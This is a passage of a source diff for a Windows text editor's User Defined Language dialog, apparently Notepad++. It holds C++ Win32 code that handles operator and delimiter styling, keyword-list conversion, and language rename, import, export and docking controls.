WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_OPERATORS1])); + ::SendDlgItemMessage(_hSelf, IDC_OPERATOR2_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_OPERATORS2])); +} + +INT_PTR CALLBACK SymbolsStyleDialog::run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam) +{ + switch (Message) + { + case WM_COMMAND : + { + switch (wParam) + { + case IDC_OPERATOR_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_OPERATOR, SCE_USER_MASK_NESTING_NONE); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_DELIMITER1_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_DELIMITER1); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_DELIMITER2_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_DELIMITER2); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_DELIMITER3_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_DELIMITER3); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_DELIMITER4_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_DELIMITER4); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_DELIMITER5_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_DELIMITER5); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_DELIMITER6_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_DELIMITER6); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_DELIMITER7_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_DELIMITER7); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_DELIMITER8_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_DELIMITER8); + stylerDlg.doDialog(); + return TRUE; + } + default : + return SharedParametersDialog::run_dlgProc(Message, wParam, lParam); + } + } + default : + return SharedParametersDialog::run_dlgProc(Message, wParam, lParam); + } +} + +void SymbolsStyleDialog::convertTo(TCHAR *dest, const TCHAR *toConvert, TCHAR *prefix) const +{ + bool inGroup = false; + int index = lstrlen(dest); + if (index > 0) + dest[index++] = ' '; + dest[index++] = prefix[0]; + dest[index++] = prefix[1]; + + for (size_t i = 0, len = lstrlen(toConvert); i < len ; ++i) + { + if (i == 0 && toConvert[i] == '(' && toConvert[i+1] == '(') + { + inGroup = true; + } + else if (toConvert[i] == ' ' && toConvert[i+1] == '(' && toConvert[i+2] == '(') + { + inGroup = true; + dest[index++] = ' '; + dest[index++] = prefix[0]; + dest[index++] = prefix[1]; + ++i; // skip space + } + if (inGroup && toConvert[i-1] == ')' && toConvert[i-2] == ')') + { + inGroup = false; + } + + if (toConvert[i] == ' ') + { + if (toConvert[i+1] != ' ' && toConvert[i+1] != '\0') + { + dest[index++] = ' '; + if (!inGroup) + { + dest[index++] = prefix[0]; + dest[index++] = prefix[1]; + } + } + } + else + { + dest[index++] = toConvert[i]; + } + } + dest[index] = '\0'; +} + +void SymbolsStyleDialog::retrieve(TCHAR *dest, const TCHAR *toRetrieve, TCHAR *prefix) const +{ + int j = 0; + bool begin2Copy = false; + bool inGroup = false; + + for (size_t i = 0, len = lstrlen(toRetrieve); i < len ; ++i) + { + if ((i == 0 || (toRetrieve[i-1] == ' ')) && (toRetrieve[i] == prefix[0] && toRetrieve[i+1] == prefix[1])) + { + if (j > 0) + dest[j++] = ' '; + + begin2Copy = true; + ++i; + continue; + } + if (toRetrieve[i] == '(' && toRetrieve[i+1] == '(' && inGroup == false && begin2Copy == true) + { + inGroup = true; + } + if (toRetrieve[i] != ')' && toRetrieve[i-1] == ')' && toRetrieve[i-2] == ')' && inGroup == true) + { + inGroup = false; + } + if (toRetrieve[i] == ' ' && begin2Copy == true) + { + begin2Copy = false; + } + + if (begin2Copy || inGroup) + dest[j++] = toRetrieve[i]; + } + dest[j++] = '\0'; +} + +void SymbolsStyleDialog::setKeywords2List(int id) +{ + switch (id) + { + case IDC_OPERATOR1_EDIT : + ::GetDlgItemText(_hSelf, id, _pUserLang->_keywordLists[SCE_USER_KWLIST_OPERATORS1], max_char); + break; + case IDC_OPERATOR2_EDIT : + ::GetDlgItemText(_hSelf, id, _pUserLang->_keywordLists[SCE_USER_KWLIST_OPERATORS2], max_char); + break; + + case IDC_DELIMITER1_BOUNDARYOPEN_EDIT : + case IDC_DELIMITER1_ESCAPE_EDIT : + case IDC_DELIMITER1_BOUNDARYCLOSE_EDIT : + case IDC_DELIMITER2_BOUNDARYOPEN_EDIT : + case IDC_DELIMITER2_ESCAPE_EDIT : + case IDC_DELIMITER2_BOUNDARYCLOSE_EDIT : + case IDC_DELIMITER3_BOUNDARYOPEN_EDIT : + case IDC_DELIMITER3_ESCAPE_EDIT : + case IDC_DELIMITER3_BOUNDARYCLOSE_EDIT : + case IDC_DELIMITER4_BOUNDARYOPEN_EDIT : + case IDC_DELIMITER4_ESCAPE_EDIT : + case IDC_DELIMITER4_BOUNDARYCLOSE_EDIT : + case IDC_DELIMITER5_BOUNDARYOPEN_EDIT : + case IDC_DELIMITER5_ESCAPE_EDIT : + case IDC_DELIMITER5_BOUNDARYCLOSE_EDIT : + case IDC_DELIMITER6_BOUNDARYOPEN_EDIT : + case IDC_DELIMITER6_ESCAPE_EDIT : + case IDC_DELIMITER6_BOUNDARYCLOSE_EDIT : + case IDC_DELIMITER7_BOUNDARYOPEN_EDIT : + case IDC_DELIMITER7_ESCAPE_EDIT : + case IDC_DELIMITER7_BOUNDARYCLOSE_EDIT : + case IDC_DELIMITER8_BOUNDARYOPEN_EDIT : + case IDC_DELIMITER8_ESCAPE_EDIT : + case IDC_DELIMITER8_BOUNDARYCLOSE_EDIT : + { + TCHAR newList[max_char] = TEXT(""); + TCHAR buffer[max_char] = TEXT(""); + TCHAR intBuffer[10] = {'0', 0}; + + const int list[] = { + IDC_DELIMITER1_BOUNDARYOPEN_EDIT, + IDC_DELIMITER1_ESCAPE_EDIT, + IDC_DELIMITER1_BOUNDARYCLOSE_EDIT, + IDC_DELIMITER2_BOUNDARYOPEN_EDIT, + IDC_DELIMITER2_ESCAPE_EDIT, + IDC_DELIMITER2_BOUNDARYCLOSE_EDIT, + IDC_DELIMITER3_BOUNDARYOPEN_EDIT, + IDC_DELIMITER3_ESCAPE_EDIT, + IDC_DELIMITER3_BOUNDARYCLOSE_EDIT, + IDC_DELIMITER4_BOUNDARYOPEN_EDIT, + IDC_DELIMITER4_ESCAPE_EDIT, + IDC_DELIMITER4_BOUNDARYCLOSE_EDIT, + IDC_DELIMITER5_BOUNDARYOPEN_EDIT, + IDC_DELIMITER5_ESCAPE_EDIT, + IDC_DELIMITER5_BOUNDARYCLOSE_EDIT, + IDC_DELIMITER6_BOUNDARYOPEN_EDIT, + IDC_DELIMITER6_ESCAPE_EDIT, + IDC_DELIMITER6_BOUNDARYCLOSE_EDIT, + IDC_DELIMITER7_BOUNDARYOPEN_EDIT, + IDC_DELIMITER7_ESCAPE_EDIT, + IDC_DELIMITER7_BOUNDARYCLOSE_EDIT, + IDC_DELIMITER8_BOUNDARYOPEN_EDIT, + IDC_DELIMITER8_ESCAPE_EDIT, + IDC_DELIMITER8_BOUNDARYCLOSE_EDIT + }; + + for (int i = 0; i < sizeof(list)/sizeof(int); ++i) + { + if (i < 10) + generic_itoa(i, intBuffer+1, 10); + else + generic_itoa(i, intBuffer, 10); + + int dd = list[i]; + ::GetDlgItemText(_hSelf, dd, buffer, max_char); + convertTo(newList, buffer, intBuffer); + } + + lstrcpy(_pUserLang->_keywordLists[SCE_USER_KWLIST_DELIMITERS], newList); + break; + } + default : + break; + } +} + +UserDefineDialog::UserDefineDialog(): SharedParametersDialog() +{ + _pCurrentUserLang = new UserLangContainer(); + + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_DEFAULT, globalMappper().styleNameMapper[SCE_USER_STYLE_DEFAULT].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_COMMENT, globalMappper().styleNameMapper[SCE_USER_STYLE_COMMENT].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_COMMENTLINE, globalMappper().styleNameMapper[SCE_USER_STYLE_COMMENTLINE].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_NUMBER, globalMappper().styleNameMapper[SCE_USER_STYLE_NUMBER].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_KEYWORD1, globalMappper().styleNameMapper[SCE_USER_STYLE_KEYWORD1].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_KEYWORD2, globalMappper().styleNameMapper[SCE_USER_STYLE_KEYWORD2].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_KEYWORD3, globalMappper().styleNameMapper[SCE_USER_STYLE_KEYWORD3].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_KEYWORD4, globalMappper().styleNameMapper[SCE_USER_STYLE_KEYWORD4].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_KEYWORD5, globalMappper().styleNameMapper[SCE_USER_STYLE_KEYWORD5].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_KEYWORD6, globalMappper().styleNameMapper[SCE_USER_STYLE_KEYWORD6].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_KEYWORD7, globalMappper().styleNameMapper[SCE_USER_STYLE_KEYWORD7].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_KEYWORD8, globalMappper().styleNameMapper[SCE_USER_STYLE_KEYWORD8].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_OPERATOR, globalMappper().styleNameMapper[SCE_USER_STYLE_OPERATOR].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_FOLDER_IN_CODE1, globalMappper().styleNameMapper[SCE_USER_STYLE_FOLDER_IN_CODE1].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_FOLDER_IN_CODE2, globalMappper().styleNameMapper[SCE_USER_STYLE_FOLDER_IN_CODE2].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_FOLDER_IN_COMMENT, globalMappper().styleNameMapper[SCE_USER_STYLE_FOLDER_IN_COMMENT].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_DELIMITER1, globalMappper().styleNameMapper[SCE_USER_STYLE_DELIMITER1].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_DELIMITER2, globalMappper().styleNameMapper[SCE_USER_STYLE_DELIMITER2].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_DELIMITER3, globalMappper().styleNameMapper[SCE_USER_STYLE_DELIMITER3].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_DELIMITER4, globalMappper().styleNameMapper[SCE_USER_STYLE_DELIMITER4].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_DELIMITER5, globalMappper().styleNameMapper[SCE_USER_STYLE_DELIMITER5].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_DELIMITER6, globalMappper().styleNameMapper[SCE_USER_STYLE_DELIMITER6].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_DELIMITER7, globalMappper().styleNameMapper[SCE_USER_STYLE_DELIMITER7].c_str()); + _pCurrentUserLang->_styleArray.addStyler(SCE_USER_STYLE_DELIMITER8, globalMappper().styleNameMapper[SCE_USER_STYLE_DELIMITER8].c_str()); +} + +UserDefineDialog::~UserDefineDialog() +{ + delete _pCurrentUserLang; +} + +void UserDefineDialog::reloadLangCombo() +{ + NppParameters *pNppParam = NppParameters::getInstance(); + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_RESETCONTENT, 0, 0); + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_ADDSTRING, 0, reinterpret_cast(TEXT("User Define Language"))); + for (int i = 0, nb = pNppParam->getNbUserLang(); i < nb ; ++i) + { + UserLangContainer & userLangContainer = pNppParam->getULCFromIndex(i); + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_ADDSTRING, 0, reinterpret_cast(userLangContainer.getName())); + } +} + +void UserDefineDialog::changeStyle() +{ + _status = !_status; + ::SetDlgItemText(_hSelf, IDC_DOCK_BUTTON, (_status == DOCK)?TEXT("Undock"):TEXT("Dock")); + + auto style = ::GetWindowLongPtr(_hSelf, GWL_STYLE); + if (!style) + ::MessageBox(NULL, TEXT("GetWindowLongPtr failed in UserDefineDialog::changeStyle()"), TEXT(""), MB_OK); + + style = (_status == DOCK)? + ((style & ~WS_POPUP) & ~DS_MODALFRAME & ~WS_CAPTION) | WS_CHILD : + (style & ~WS_CHILD) | WS_POPUP | DS_MODALFRAME | WS_CAPTION; + + auto result = ::SetWindowLongPtr(_hSelf, GWL_STYLE, style); + if (!result) + ::MessageBox(NULL, TEXT("SetWindowLongPtr failed in UserDefineDialog::changeStyle()"), TEXT(""), MB_OK); + + if (_status == DOCK) + getActualPosSize(); + else + restorePosSize(); + + ::SetParent(_hSelf, (_status == DOCK)?_hParent:NULL); +} + +void UserDefineDialog::enableLangAndControlsBy(size_t index) +{ + _pUserLang = (index == 0)?_pCurrentUserLang:&((NppParameters::getInstance())->getULCFromIndex(index - 1)); + if (index != 0) + ::SetWindowText(::GetDlgItem(_hSelf, IDC_EXT_EDIT), _pUserLang->_ext.c_str()); + + ::ShowWindow(::GetDlgItem(_hSelf, IDC_EXT_STATIC), (index == 0)?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_EXT_EDIT), (index == 0)?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_RENAME_BUTTON), (index == 0)?SW_HIDE:SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_REMOVELANG_BUTTON), (index == 0)?SW_HIDE:SW_SHOW); +} + +void UserDefineDialog::updateDlg() +{ + if (!_isDirty) + { + int i = static_cast(::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_GETCURSEL, 0, 0)); + if (i > 0) + _isDirty = true; + } + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_IGNORECASE_CHECK, BM_SETCHECK, _pUserLang->_isCaseIgnored, 0); + _folderStyleDlg.updateDlg(); + _keyWordsStyleDlg.updateDlg(); + _commentStyleDlg.updateDlg(); + _symbolsStyleDlg.updateDlg(); +} + + +INT_PTR CALLBACK UserDefineDialog::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + + switch (message) + { + case WM_INITDIALOG : + { + _pUserLang = _pCurrentUserLang; + + _ctrlTab.init(_hInst, _hSelf, false); + int tabDpiDynamicalHeight = NppParameters::getInstance()->_dpiManager.scaleY(13); + _ctrlTab.setFont(TEXT("Tahoma"), tabDpiDynamicalHeight); + + _folderStyleDlg.init(_hInst, _hSelf); + _folderStyleDlg.create(IDD_FOLDER_STYLE_DLG); + _folderStyleDlg.display(); + + _keyWordsStyleDlg.init(_hInst, _hSelf); + _keyWordsStyleDlg.create(IDD_KEYWORD_STYLE_DLG); + _keyWordsStyleDlg.display(false); + + _commentStyleDlg.init(_hInst, _hSelf); + _commentStyleDlg.create(IDD_COMMENT_STYLE_DLG); + _commentStyleDlg.display(false); + + _symbolsStyleDlg.init(_hInst, _hSelf); + _symbolsStyleDlg.create(IDD_SYMBOL_STYLE_DLG); + _symbolsStyleDlg.display(false); + + _wVector.push_back(DlgInfo(&_folderStyleDlg, TEXT("Folder && Default"))); + _wVector.push_back(DlgInfo(&_keyWordsStyleDlg, TEXT("Keywords Lists"))); + _wVector.push_back(DlgInfo(&_commentStyleDlg, TEXT("Comment && Number"))); + _wVector.push_back(DlgInfo(&_symbolsStyleDlg, TEXT("Operators && Delimiters"))); + + _ctrlTab.createTabs(_wVector); + _ctrlTab.display(); + + RECT arc; + ::GetWindowRect(::GetDlgItem(_hSelf, IDC_IMPORT_BUTTON), &arc); + + POINT p; + p.x = arc.left; + p.y = arc.bottom; + ::ScreenToClient(_hSelf, &p); + + RECT rc; + getClientRect(rc); + rc.top = p.y + 10; + rc.bottom -= 20; + _ctrlTab.reSizeTo(rc); + + _folderStyleDlg.reSizeTo(rc); + _keyWordsStyleDlg.reSizeTo(rc); + _commentStyleDlg.reSizeTo(rc); + _symbolsStyleDlg.reSizeTo(rc); + + reloadLangCombo(); + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_SETCURSEL, 0, 0); + + enableLangAndControlsBy(0); + + if (pNppParam->isTransparentAvailable()) + { + ::ShowWindow(::GetDlgItem(_hSelf, IDC_UD_TRANSPARENT_CHECK), SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_UD_PERCENTAGE_SLIDER), SW_SHOW); + + ::SendDlgItemMessage(_hSelf, IDC_UD_PERCENTAGE_SLIDER, TBM_SETRANGE, FALSE, MAKELONG(20, 200)); + ::SendDlgItemMessage(_hSelf, IDC_UD_PERCENTAGE_SLIDER, TBM_SETPOS, TRUE, 150); + if (!(BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_UD_PERCENTAGE_SLIDER, BM_GETCHECK, 0, 0))) + ::EnableWindow(::GetDlgItem(_hSelf, IDC_UD_PERCENTAGE_SLIDER), FALSE); + } + SCROLLINFO si; + si.cbSize = sizeof(si); + si.fMask = SIF_RANGE; //| SIF_PAGE; + si.nMin = 0; + si.nMax = 0; + ::SetScrollInfo(_hSelf, SB_VERT, &si, TRUE); + + TCHAR temp[32]; + generic_string udlVersion = TEXT("User Defined Language v."); + udlVersion += generic_itoa(SCE_UDL_VERSION_MAJOR, temp, 10); + udlVersion += TEXT("."); + udlVersion += generic_itoa(SCE_UDL_VERSION_MINOR, temp, 10); + udlVersion += TEXT("."); + udlVersion += generic_itoa(SCE_UDL_VERSION_BUILD, temp, 10); + udlVersion += TEXT("."); + udlVersion += generic_itoa(SCE_UDL_VERSION_REVISION, temp, 10); + + ::SetWindowText(_hSelf, udlVersion.c_str()); + + return TRUE; + } + + case WM_NOTIFY: + { + NMHDR *nmhdr = (NMHDR *)lParam; + if (nmhdr->code == TCN_SELCHANGE) + { + if (nmhdr->hwndFrom == _ctrlTab.getHSelf()) + { + _ctrlTab.clickedUpdate(); + return TRUE; + } + } + break; + } + + case WM_HSCROLL: + { + if (reinterpret_cast(lParam) == ::GetDlgItem(_hSelf, IDC_UD_PERCENTAGE_SLIDER)) + { + int percent = static_cast(::SendDlgItemMessage(_hSelf, IDC_UD_PERCENTAGE_SLIDER, TBM_GETPOS, 0, 0)); + pNppParam->SetTransparent(_hSelf, percent); + } + return TRUE; + } + + case WM_COMMAND : + { + if (HIWORD(wParam) == EN_CHANGE) + { + TCHAR ext[extsLenMax]; + ::SendDlgItemMessage(_hSelf, IDC_EXT_EDIT, WM_GETTEXT, extsLenMax, reinterpret_cast(ext)); + _pUserLang->_ext = ext; + return TRUE; + } + else if (HIWORD(wParam) == CBN_SELCHANGE) + { + if (LOWORD(wParam) == IDC_LANGNAME_COMBO) + { + auto i = ::SendDlgItemMessage(_hSelf, LOWORD(wParam), CB_GETCURSEL, 0, 0); + enableLangAndControlsBy(i); + updateDlg(); + } + return TRUE; + } + else + { + switch (wParam) + { + case IDC_DOCK_BUTTON : + { + int msg = WM_UNDOCK_USERDEFINE_DLG; + + if (_status == UNDOCK) + { + if (pNppParam->isTransparentAvailable()) + { + pNppParam->removeTransparent(_hSelf); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_UD_TRANSPARENT_CHECK), SW_HIDE); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_UD_PERCENTAGE_SLIDER), SW_HIDE); + } + msg = WM_DOCK_USERDEFINE_DLG; + } + + changeStyle(); + + if (_status == UNDOCK) + { + if (pNppParam->isTransparentAvailable()) + { + bool isChecked = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_UD_TRANSPARENT_CHECK, BM_GETCHECK, 0, 0)); + if (isChecked) + { + int percent = static_cast(::SendDlgItemMessage(_hSelf, IDC_UD_PERCENTAGE_SLIDER, TBM_GETPOS, 0, 0)); + pNppParam->SetTransparent(_hSelf, percent); + } + ::ShowWindow(::GetDlgItem(_hSelf, IDC_UD_TRANSPARENT_CHECK), SW_SHOW); + ::ShowWindow(::GetDlgItem(_hSelf, IDC_UD_PERCENTAGE_SLIDER), SW_SHOW); + } + } + ::SendMessage(_hParent, msg, 0, 0); + return TRUE; + } + + case IDCANCEL: + { + ::SendMessage(_hParent, WM_CLOSE_USERDEFINE_DLG, 0, 0); + display(false); + return TRUE; + } + + case IDC_REMOVELANG_BUTTON : + { + int result = ::MessageBox(_hSelf, TEXT("Are you sure?"), TEXT("Remove the current language"), MB_YESNO); + if (result == IDYES) + { + auto i = ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_GETCURSEL, 0, 0); + TCHAR langName[256]; + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_GETLBTEXT, i, reinterpret_cast(langName)); + + //remove current language from combobox + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_DELETESTRING, i, 0); + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_SETCURSEL, i-1, 0); + ::SendMessage(_hSelf, WM_COMMAND, MAKELONG(IDC_LANGNAME_COMBO, CBN_SELCHANGE), reinterpret_cast(::GetDlgItem(_hSelf, IDC_LANGNAME_COMBO))); + + //remove current language from userLangArray + pNppParam->removeUserLang(i-1); + + //remove current language from langMenu + HWND hNpp = ::GetParent(_hSelf); + HMENU m = reinterpret_cast(::SendMessage(hNpp, NPPM_INTERNAL_GETMENU, 0, 0)); + HMENU subMenu = ::GetSubMenu(m, MENUINDEX_LANGUAGE); + ::RemoveMenu(subMenu, static_cast(IDM_LANG_USER + i), MF_BYCOMMAND); + ::DrawMenuBar(hNpp); + ::SendMessage(_hParent, WM_REMOVE_USERLANG, 0, reinterpret_cast(langName)); + } + return TRUE; + } + case IDC_RENAME_BUTTON : + { + TCHAR langName[256]; + auto i = ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_GETCURSEL, 0, 0); + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_GETLBTEXT, i, reinterpret_cast(langName)); + + StringDlg strDlg; + strDlg.init(_hInst, _hSelf, TEXT("Rename Current Language Name"), TEXT("Name : "), langName, langNameLenMax-1); + + TCHAR *newName = (TCHAR *)strDlg.doDialog(); + + if (newName) + { + if (pNppParam->isExistingUserLangName(newName)) + { + ::MessageBox(_hSelf, TEXT("This name is used by another language,\rplease give another one."), TEXT("Err"), MB_OK); + ::PostMessage(_hSelf, WM_COMMAND, IDC_RENAME_BUTTON, 0); + return TRUE; + } + //rename current language name in combobox + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_DELETESTRING, i, 0); + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_INSERTSTRING, i, reinterpret_cast(newName)); + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_SETCURSEL, i, 0); + + //rename current language name in userLangArray + UserLangContainer & userLangContainer = pNppParam->getULCFromIndex(i-1); + userLangContainer._name = newName; + + //rename current language name in langMenu + HWND hNpp = ::GetParent(_hSelf); + HMENU hM = reinterpret_cast(::SendMessage(hNpp, NPPM_INTERNAL_GETMENU, 0, 0)); + HMENU hSubM = ::GetSubMenu(hM, MENUINDEX_LANGUAGE); + ::ModifyMenu(hSubM, static_cast(IDM_LANG_USER + i), MF_BYCOMMAND, IDM_LANG_USER + i, newName); + ::DrawMenuBar(hNpp); + ::SendMessage(_hParent, WM_RENAME_USERLANG, reinterpret_cast(newName), reinterpret_cast(langName)); + } + + return TRUE; + } + + case IDC_ADDNEW_BUTTON : + case IDC_SAVEAS_BUTTON : + { + auto i = ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_GETCURSEL, 0, 0); + if (i == 0) + wParam = IDC_ADDNEW_BUTTON; + + StringDlg strDlg; + if (wParam == IDC_SAVEAS_BUTTON) + strDlg.init(_hInst, _hSelf, TEXT("Save Current Language Name As..."), TEXT("Name : "), TEXT(""), langNameLenMax-1); + else + strDlg.init(_hInst, _hSelf, TEXT("Create New Language..."), TEXT("Name : "), TEXT(""), langNameLenMax-1); + + TCHAR *tmpName = reinterpret_cast(strDlg.doDialog()); + + if (tmpName && tmpName[0]) + { + generic_string newNameString(tmpName); + const TCHAR *newName = newNameString.c_str(); + + if (pNppParam->isExistingUserLangName(newName)) + { + ::MessageBox(_hSelf, TEXT("This name is used by another language,\rplease give another one."), TEXT("Err"), MB_OK); + ::PostMessage(_hSelf, WM_COMMAND, IDC_RENAME_BUTTON, 0); + return TRUE; + } + //add current language in userLangArray at the end as a new lang + UserLangContainer & userLang = (wParam == IDC_SAVEAS_BUTTON)?pNppParam->getULCFromIndex(i-1):*_pCurrentUserLang; + int newIndex = pNppParam->addUserLangToEnd(userLang, newName); + + //add new language name in combobox + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_ADDSTRING, 0, LPARAM(newName)); + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_SETCURSEL, newIndex + 1, 0); + ::SendMessage(_hSelf, WM_COMMAND, MAKELONG(IDC_LANGNAME_COMBO, CBN_SELCHANGE), reinterpret_cast(::GetDlgItem(_hSelf, IDC_LANGNAME_COMBO))); + + //add new language name in langMenu + HWND hNpp = ::GetParent(_hSelf); + HMENU m = reinterpret_cast(::SendMessage(hNpp, NPPM_INTERNAL_GETMENU, 0, 0)); + ::InsertMenu(::GetSubMenu(m, MENUINDEX_LANGUAGE), IDM_LANG_USER + newIndex, MF_BYCOMMAND, IDM_LANG_USER + newIndex + 1, newName); + ::DrawMenuBar(hNpp); + } + + return TRUE; + } + case IDC_IMPORT_BUTTON : + { + FileDialog fDlg(_hSelf, ::GetModuleHandle(NULL)); + fDlg.setExtFilter(TEXT("UDL"), TEXT(".xml"), NULL); + TCHAR *fn = fDlg.doOpenSingleFileDlg(); + if (!fn) break; + generic_string sourceFile = fn; + + bool isSuccessful = pNppParam->importUDLFromFile(sourceFile); + if (isSuccessful) + { + auto i = ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_GETCURSEL, 0, 0); + reloadLangCombo(); + ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_SETCURSEL, i, 0); + _isDirty = true; + printStr(TEXT("Import successful.")); + } + else + { + printStr(TEXT("Fail to import.")); + } + break; + } + + case IDC_EXPORT_BUTTON : + { + auto i2Export = ::SendDlgItemMessage(_hSelf, IDC_LANGNAME_COMBO, CB_GETCURSEL, 0, 0); + if (i2Export == 0) + { + // maybe a better option would be to simply send IDC_SAVEAS_BUTTON message, and display "Save As..." dialog? + printStr(TEXT("Before exporting, save your language definition by clicking \"Save As...\" button")); + break; + } + + FileDialog fDlg(_hSelf, ::GetModuleHandle(NULL)); + fDlg.setExtFilter(TEXT("UDL"), TEXT(".xml"), NULL); + TCHAR *fn = fDlg.doSaveDlg(); + if (!fn) break; + generic_string fileName2save = fn; + + if (i2Export > 0) + { + bool isSuccessful = pNppParam->exportUDLToFile(i2Export - 1, fileName2save); + if (isSuccessful) + { + printStr(TEXT("Export successful")); + } + else + { + printStr(TEXT("Fail to export.")); + } + } + break; + } + + case IDC_UD_TRANSPARENT_CHECK : + { + bool isChecked = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_UD_TRANSPARENT_CHECK, BM_GETCHECK, 0, 0)); + if (isChecked) + { + int percent = static_cast(::SendDlgItemMessage(_hSelf, IDC_UD_PERCENTAGE_SLIDER, TBM_GETPOS, 0, 0)); + pNppParam->SetTransparent(_hSelf, percent); + } + else + pNppParam->removeTransparent(_hSelf); + + ::EnableWindow(::GetDlgItem(_hSelf, IDC_UD_PERCENTAGE_SLIDER), isChecked); + return TRUE; + } + + case IDC_LANGNAME_IGNORECASE_CHECK : + return setPropertyByCheck(_hSelf, wParam, _pUserLang->_isCaseIgnored); + + default : + break; + } + } + return FALSE; + } + + case WM_DESTROY: + { + _folderStyleDlg.destroy(); + _keyWordsStyleDlg.destroy(); + _commentStyleDlg.destroy(); + _symbolsStyleDlg.destroy(); + + _ctrlTab.destroy(); + return TRUE; + } + + case WM_SIZE: + { + int originalHight = _dlgPos.bottom; //- ((_status == DOCK)?_dlgPos.top:0); + _currentHight = HIWORD (lParam); + + int diff = _currentHight - _prevHightVal; + _prevHightVal = _currentHight; + + int maxPos = originalHight - _currentHight; + // Set the vertical scrolling range and page size + SCROLLINFO si; + si.cbSize = sizeof(si); + si.fMask = SIF_RANGE | SIF_PAGE; + si.nMin = 0; + si.nMax = (_status == UNDOCK)?0:originalHight; + si.nPage = _currentHight; + //si.nPos = 0; + ::SetScrollInfo(_hSelf, SB_VERT, &si, TRUE); + + if ((_yScrollPos >= maxPos) && (_currentHight < originalHight)) + { + //int nDelta = min(max(maxPos/10,5), maxPos - _yScrollPos); + if (_yScrollPos > 0) + { + _yScrollPos -= diff; + 